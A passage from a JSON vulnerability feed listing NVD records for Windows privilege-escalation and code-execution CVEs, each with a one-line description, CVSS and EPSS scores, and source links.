use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83843","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83843","type":"primary","publishedAt":"2026-10-13T19:20:32.713Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83843&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83843, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83842","cveId":"CVE-2026-83842","aliases":[],"kind":"vulnerability","title":"Double free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","summary":"Double free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","detail":"Double free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:32.560Z","updatedAt":"2026-10-16T16:21:36.310Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83842","asOf":"2026-10-16T16:21:36.310Z"},"epss":{"probability":0.00304,"percentile":0.22944,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83842&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83842","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83842","type":"primary","publishedAt":"2026-10-13T19:20:32.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83842&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83842, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83841","cveId":"CVE-2026-83841","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Win32K allows an authorized attacker to elevate privileges locally.","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Win32K allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Win32K allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:32.407Z","updatedAt":"2026-10-16T16:21:36.160Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83841","asOf":"2026-10-16T16:21:36.160Z"},"epss":{"probability":0.00219,"percentile":0.1232,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83841&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83841","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83841","type":"primary","publishedAt":"2026-10-13T19:20:32.407Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83841&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83841, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83840","cveId":"CVE-2026-83840","aliases":[],"kind":"vulnerability","title":"Weak authentication in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","summary":"Weak authentication in Windows Error Reporting allows an authorized attacker to elevate privileges locally.","detail":"Weak authentication in Windows Error Reporting allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:32.243Z","updatedAt":"2026-10-16T16:21:35.990Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83840","asOf":"2026-10-16T16:21:35.990Z"},"epss":{"probability":0.00442,"percentile":0.38113,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83840&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83840","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83840","type":"primary","publishedAt":"2026-10-13T19:20:32.243Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83840&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83840, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83839","cveId":"CVE-2026-83839","aliases":[],"kind":"vulnerability","title":"Time-of-check time-of-use (toctou) race condition in Windows Hyper-V allows an authorized attacker to elevate privileges locally.","summary":"Time-of-check time-of-use (toctou) race condition in Windows Hyper-V allows an authorized attacker to elevate privileges locally.","detail":"Time-of-check time-of-use (toctou) race condition in Windows Hyper-V allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:32.090Z","updatedAt":"2026-10-16T16:21:35.847Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Hyper-V"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83839","asOf":"2026-10-16T16:21:35.847Z"},"epss":{"probability":0.00219,"percentile":0.1232,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83839&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83839","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83839","type":"primary","publishedAt":"2026-10-13T19:20:32.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83839&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83839, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83838","cveId":"CVE-2026-83838","aliases":[],"kind":"vulnerability","title":"Integer underflow (wrap or wraparound) in Windows Bluetooth A2DP driver allows an authorized attacker to elevate privileges over an adjacent network.","summary":"Integer underflow (wrap or wraparound) in Windows Bluetooth A2DP driver allows an authorized attacker to elevate privileges over an adjacent network.","detail":"Integer underflow (wrap or wraparound) in Windows Bluetooth A2DP driver allows an authorized attacker to elevate privileges over an adjacent network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:31.923Z","updatedAt":"2026-10-16T16:21:35.690Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83838","asOf":"2026-10-16T16:21:35.690Z"},"epss":{"probability":0.00554,"percentile":0.45978,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83838&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83838","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83838","type":"primary","publishedAt":"2026-10-13T19:20:31.923Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83838&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83838, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83837","cveId":"CVE-2026-83837","aliases":[],"kind":"vulnerability","title":"Improper access control in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.","summary":"Improper access control in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.","detail":"Improper access control in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:31.763Z","updatedAt":"2026-10-16T16:21:35.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83837","asOf":"2026-10-16T16:21:35.533Z"},"epss":{"probability":0.00323,"percentile":0.25033,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83837&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83837","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83837","type":"primary","publishedAt":"2026-10-13T19:20:31.763Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83837&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83837, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83836","cveId":"CVE-2026-83836","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Event Tracing allows an unauthorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Windows Event Tracing allows an unauthorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Windows Event Tracing allows an unauthorized attacker to execute code locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:31.580Z","updatedAt":"2026-10-16T16:21:35.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83836","asOf":"2026-10-16T16:21:35.357Z"},"epss":{"probability":0.00505,"percentile":0.42867,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83836&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83836","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83836","type":"primary","publishedAt":"2026-10-13T19:20:31.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83836&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83836, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83834","cveId":"CVE-2026-83834","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:31.227Z","updatedAt":"2026-10-16T16:21:35.010Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83834","asOf":"2026-10-16T16:21:35.010Z"},"epss":{"probability":0.00298,"percentile":0.22281,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83834&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83834","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83834","type":"primary","publishedAt":"2026-10-13T19:20:31.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83834&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83834, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83833","cveId":"CVE-2026-83833","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:31.043Z","updatedAt":"2026-10-16T16:21:34.837Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83833","asOf":"2026-10-16T16:21:34.837Z"},"epss":{"probability":0.00361,"percentile":0.29677,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83833&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83833","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83833","type":"primary","publishedAt":"2026-10-13T19:20:31.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83833&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83833, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83832","cveId":"CVE-2026-83832","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:30.900Z","updatedAt":"2026-10-16T16:21:34.690Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83832","asOf":"2026-10-16T16:21:34.690Z"},"epss":{"probability":0.00361,"percentile":0.29676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83832&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83832","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83832","type":"primary","publishedAt":"2026-10-13T19:20:30.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83832&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83832, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83830","cveId":"CVE-2026-83830","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows COM+ Event System Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:30.720Z","updatedAt":"2026-10-16T16:21:34.510Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83830","asOf":"2026-10-16T16:21:34.510Z"},"epss":{"probability":0.0042,"percentile":0.36,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83830&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83830","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83830","type":"primary","publishedAt":"2026-10-13T19:20:30.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83830&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83830, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83829","cveId":"CVE-2026-83829","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:30.547Z","updatedAt":"2026-10-16T16:21:34.330Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83829","asOf":"2026-10-16T16:21:34.330Z"},"epss":{"probability":0.00361,"percentile":0.29675,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83829&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83829","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83829","type":"primary","publishedAt":"2026-10-13T19:20:30.547Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83829&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83829, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83828","cveId":"CVE-2026-83828","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 